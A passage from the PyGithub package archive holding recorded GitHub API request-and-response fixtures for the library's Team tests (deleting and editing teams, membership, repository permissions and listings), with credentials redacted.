","archived_at":null,"type":"Organization"},"parent":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testDelete.txt0000644000175100001660000000063414756101563021711 0ustar00runnerdockerhttps DELETE api.github.com None /organizations/1234567/team/12345678 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4946'), ('x-ratelimit-limit', '5000'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:16:46 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testDiscussions.txt0000644000175100001660000000424314756101563023015 0ustar00runnerdockerhttps GET api.github.com None /organizations/1234567/team/12345678/discussions {'Accept': 'application/vnd.github.echo-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '1595'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"03555a65309084f36bcf959063a39d35"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"body":"BODY","body_html":"

BODY

","body_version":"bedf0740b01d2d758cff9873c2387817","comments_count":0,"comments_url":"https://api.github.com/organizations/1234567/team/12345678/discussions/1/comments","created_at":"2019-10-08T21:03:36Z","last_edited_at":null,"html_url":"https://github.com/orgs/BeaverSoftware/teams/Team/discussions/1","node_id":"MDE0OlRlYW1EaXNjdXNzaW9uMzA=","number":1,"pinned":true,"private":false,"team_url":"https://api.github.com/organizations/1234567/team/12345678","title":"TITLE","updated_at":"2019-10-08T21:03:36Z","url":"https://api.github.com/organizations/1234567/team/12345678/discussions/1"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testEditWithAllArguments.txt0000644000175100001660000000332214756101563024544 0ustar00runnerdockerhttps GET api.github.com None /teams/141496 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"b93241eaf4384574f38b352b25595e28"'), ('date', 'Fri, 01 Jun 2012 19:35:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} https PATCH api.github.com None /organizations/1234567/team/12345678 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Name edited twice by PyGithub", "permission": "admin", "privacy": "secret", "description": "Description edited by PyGithub", "parent_team_id": 141496, "notification_setting": "notifications_disabled"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '170'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8856425cedbdf3075576e823f39fc3d6"'), ('date', 'Sat, 26 May 2012 21:14:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"permission":"admin","members_count":0,"url":"https://api.github.com/organizations/1234567/team/12345678","repos_count":0,"privacy":"secret","name":"Name edited twice by PyGithub","id":189850, "description": "Description edited by PyGithub", "notification_setting": "notifications_disabled", "parent": {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testEditWithoutArguments.txt0000644000175100001660000000131614756101563024644 0ustar00runnerdockerhttps PATCH api.github.com None /organizations/1234567/team/12345678 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Name edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '144'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"843001aba6d35f27320c0788c9ff64b1"'), ('date', 'Sat, 26 May 2012 21:14:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"permission":"pull","members_count":0,"url":"https://api.github.com/organizations/1234567/team/12345678","repos_count":0,"name":"Name edited by PyGithub","id":189850} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testGetTeams.txt0000644000175100001660000000131214756101563022212 0ustar00runnerdockerhttps GET api.github.com None /organizations/1234567/team/12345678/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"43d7c883d1cb7d50a08d2c189550023c"'), ('date', 'Sun, 27 May 2012 05:13:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"name":"DummyTeam1","id":12345679,"parent":{"name":"Team","id":12345678}},{"name":"DummyTeam2","id":12345680,"parent":{"name":"Team","id":12345678}},{"name":"DummyTeam3","id":12345681,"parent":{"name":"Team","id":12345678}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testMembers.txt0000644000175100001660000001434414756101563022104 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fcfa200b026b10e9a41dfc2bb1057b33"'), ('date', 'Sat, 26 May 2012 21:09:53 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"collaborators":0,"type":"User","disk_usage":17016,"hireable":false,"url":"https://api.github.com/users/jacquev6","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"public_repos":11,"bio":"","total_private_repos":5,"company":"Criteo","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","email":"vincent@vincent-jacques.net","owned_private_repos":5,"followers":13,"name":"Vincent Jacques","public_gists":3,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /organizations/1234567/team/12345678/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sat, 26 May 2012 21:09:54 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4972'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 26 May 2012 21:09:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:55 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5c59999e9aff00a09d7aa96ad73d5ff2"'), ('date', 'Sat, 26 May 2012 21:09:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}] https GET api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4969'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:56 GMT')] https DELETE api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:57 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/members {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sat, 26 May 2012 21:09:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/members/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4966'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 26 May 2012 21:09:58 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /organizations/1234567/team/12345678/memberships/jacquev6 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"role": "maintainer"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '151'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8856425cedbdf3075576e823f39fc3d6"'), ('date', 'Sat, 26 May 2012 21:14:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https DELETE api.github.com None /organizations/1234567/team/12345678/memberships/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:09:57 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testRepoPermission.txt0000644000175100001660000000430614756101563023465 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9b98209a51840e6710aa96cb2e4eb56"'), ('date', 'Sat, 26 May 2012 21:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","mirror_url":null,"has_downloads":true,"watchers":2,"updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https PUT api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {"Authorization": "Basic login_and_password_removed", "Content-Type": "application/json", "User-Agent": "PyGithub/Python"} {"permission": "admin"} 204 [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Team.testRepos.txt0000644000175100001660000003701514756101563021602 0ustar00runnerdockerhttps GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9b98209a51840e6710aa96cb2e4eb56"'), ('date', 'Sat, 26 May 2012 21:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","mirror_url":null,"has_downloads":true,"watchers":2,"updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https GET api.github.com None /organizations/1234567/team/12345678/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sat, 26 May 2012 21:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https GET api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4961'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 26 May 2012 21:12:36 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https GET api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Accept': 'application/vnd.github.v3.repository+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Thu, 12 Mar 2020 09:53:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4957'), ('X-RateLimit-Reset', '1584009061'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook, admin:repo_hook, gist, notifications, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('X-GitHub-Media-Type', 'github.v3; param=repository; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7531:2AC71:113BA58:14377AF:5E6A06B4')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/teams/#check-if-a-team-manages-a-repository"} https PUT api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4960'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:12:36 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4959'), ('content-length', '1107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f29ca00cf809ab0ca2bc42a50e067637"'), ('date', 'Sat, 26 May 2012 21:12:37 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","mirror_url":null,"has_wiki":true,"has_issues":true,"fork":false,"forks":1,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}] https GET api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4958'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:12:38 GMT')] https GET api.github.com None /organizations/1234567/team/12345678/repos/BeaverSoftware/FatherBeaver {'Accept': 'application/vnd.github.v3.repository+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Mar 2020 09:53:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4953'), ('X-RateLimit-Reset', '1584009062'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a31a36f26f6f48310a2ce1ad5ec9c01e"'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook, admin:repo_hook, gist, notifications, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('X-GitHub-Media-Type', 'github.v3; param=repository; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7535:2AC72:191F312:1D8B844:5E6A06B5')] {"id":246797574,"node_id":"MDEwOlJlcG9zaXRvcnkyNDY3OTc1NzQ=","name":"FatherBeaver","full_name":"BeaverSoftware/FatherBeaver","private":false,"visibility":"public","owner":{"login":"BeaverSoftware","id":59395943,"node_id":"MDEyOk9yZ2FuaXphdGlvbjU5Mzk1OTQz","avatar_url":"https://avatars0.githubusercontent.com/u/59395943?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/FatherBeaver","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","forks_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver/deployments","created_at":"2020-03-12T09:45:04Z","updated_at":"2020-03-12T09:45:06Z","pushed_at":"2020-03-11T18:51:42Z","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","svn_url":"https://github.com/BeaverSoftware/FatherBeaver","homepage":"","size":12540,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 